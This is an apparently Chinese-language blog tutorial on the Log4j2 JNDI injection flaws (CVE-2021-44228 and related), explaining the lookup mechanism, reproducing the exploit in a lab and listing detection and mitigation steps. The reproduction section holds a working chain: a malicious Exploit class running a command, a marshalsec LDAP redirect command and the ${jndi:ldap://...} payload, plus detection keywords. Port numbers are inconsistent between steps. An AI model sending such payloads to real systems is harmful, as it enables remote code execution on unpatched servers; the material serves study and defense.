Log4j2 反序列化漏洞原理与复现

Log4jLog for Java,Apache的开源日志记录组件

JDK→1.8u21以下的版本

CVE-2021-44228 远程代码执行 →2.15.0修复
CVE-2021-45046 拒绝服务Dos →2.16.0修复
CVE-2021-45105 拒绝服务Dos →2.17.0修复
CVE-2021-44832 远程代码执行 →2.17.1修复

1 漏洞介绍

1.1 Log4j介绍

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

1.2 Log4j漏洞原理

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

1.3 相关解释

LDAP协议

LDAP(Ligntweight Directory Access Protocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389.。

JNDI接口

Java Naming and Directory Interface,JAVA命名和目录接口(命名服务接口),应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。

  1. 发布服务(名字和资源的映射)
  2. 用名字查找资源

JNDI注入流程:攻击者生成一个恶意的类文件,上传到一个为攻击者服务的HTTP服务器,向目标服务器(靶机,运行了LDAP服务,并指定了恶意类文件所在的地址)给HTTP请求中向Java应用程序传入恶意参数(比如${jndi:ldap://xxx.com:1234/xxx}),指向的是LDAP服务器不存在的资源,当JNDI接口使用lookup查找时,发现在参数指定的LDAP服务器中找不到,于是根据LDAP服务器预设的地址自动从存有恶意类文件的HTTP服务器动态加载对象。

1 上传到
2 攻击者传入
3 lookup
4 找不到类返回一个地址
5 到指定地址加载类
6 恶意类下载到本地
恶意类
HTTP服务器
LDAP服务器
Java应用程序
log4j JNDI接口
恶意参数
7 执行恶意类的static代码块
攻击者 HTTP服务器 LDAP服务器 Java程序 log4j JNDI接口 恶意类的static代码块 传入一个恶意类,为攻击者服务 启动,指定默认转移地址为HTTP服务器 开启 1.传入一个恶意参数(指定LDAP服务器) 2.lookup 3.找不到类,返回默认地址 4.访问 5.返回(下载)恶意类到本地 6.执行 攻击者 HTTP服务器 LDAP服务器 Java程序 log4j JNDI接口 恶意类的static代码块

RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

2 复现流程

2.1 环境搭建

靶机:127.0.0.1

LDAP服务器:192.168.101.133

HTTP服务器:192.168.101.128

Java

JDK1.8u121以下的版本,Maven(需要安装和配置),log4j项目包

服务器

HTTP服务器(存放恶意类Exploit.class),使用phpstudy建立一个网站,端口为2222

LDAP服务器,下载marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.class

/*
 * Exploit.java
 * 将其编译后生成Exploit.class
 * 上传到HTTP服务器
 */
import java.io.IOException;

public class Exploit {
    static {
        try {
            // 打开windows电脑的计算器 proof of content
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2.2 测试

LDAP服务器中,执行如下代码

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#Exploit 1234

其中Exploit是恶意类的类名,1234是监听的端口号,该工具可以启动JNDI或RMI接口。

当命令行显示Listening on 0.0.0.0:1234时表示服务开启成功。

Log4J.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
  logger.error("${jndi:ldap://192.168.101.133:2222/test}");
    }
}

其中主要是靠如下语句:

${jndi:ldap://192.168.101.133:1234/test}

执行成功后,可以弹出计算器,LDAP服务器的命令行窗口会显示Send LDAP reference result for test redirecting to http://192.168.101.128:2222/Exploit.class
!!!
凡是Java应用程序,在获取用户输入时使用了Log4j组件且未作有效验证或限制的,都可能有该漏洞,在输入位置传入如上语句即可。

2.3 过程分析

Log4J Lookups介绍:https://logging.apache.org/log4j/2.x/manual/lookups

被攻击服务器收到恶意参数(语句)后,通过Log4J将其作为日志打印。

由于日志在打印时当遇到${后,Interpolator类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

而在LDAP服务器上找不到,于是跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。

3 漏洞防御

3.1 排查方法

  1. pom版本检查
  2. 可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”、“dnslog.cn”等字符来发现可能的攻击行为。
  3. 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

3.2 排查工具

  • https://static.threatbook.cn/tools/log4j-localcheck.sh
  • https://sca.seczone.cn/allScanner.zip

3.3 修复

  1. 将Log4j、jdk升级到最新版本
  2. 禁止用户请求参数出现攻击关键字
  3. 禁止lookup下载远程文件(命名引用)
  4. 禁止Log4j的应用连接外网
  5. 禁止Log4j使用lookup
  6. 从Log4j jar包中中删除lookup 2.10以下
  7. 设置参数:
    log4j2.formatMsgNoLookups=True
  8. 修改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true
  9. 系统环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOUPS设置为true
  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值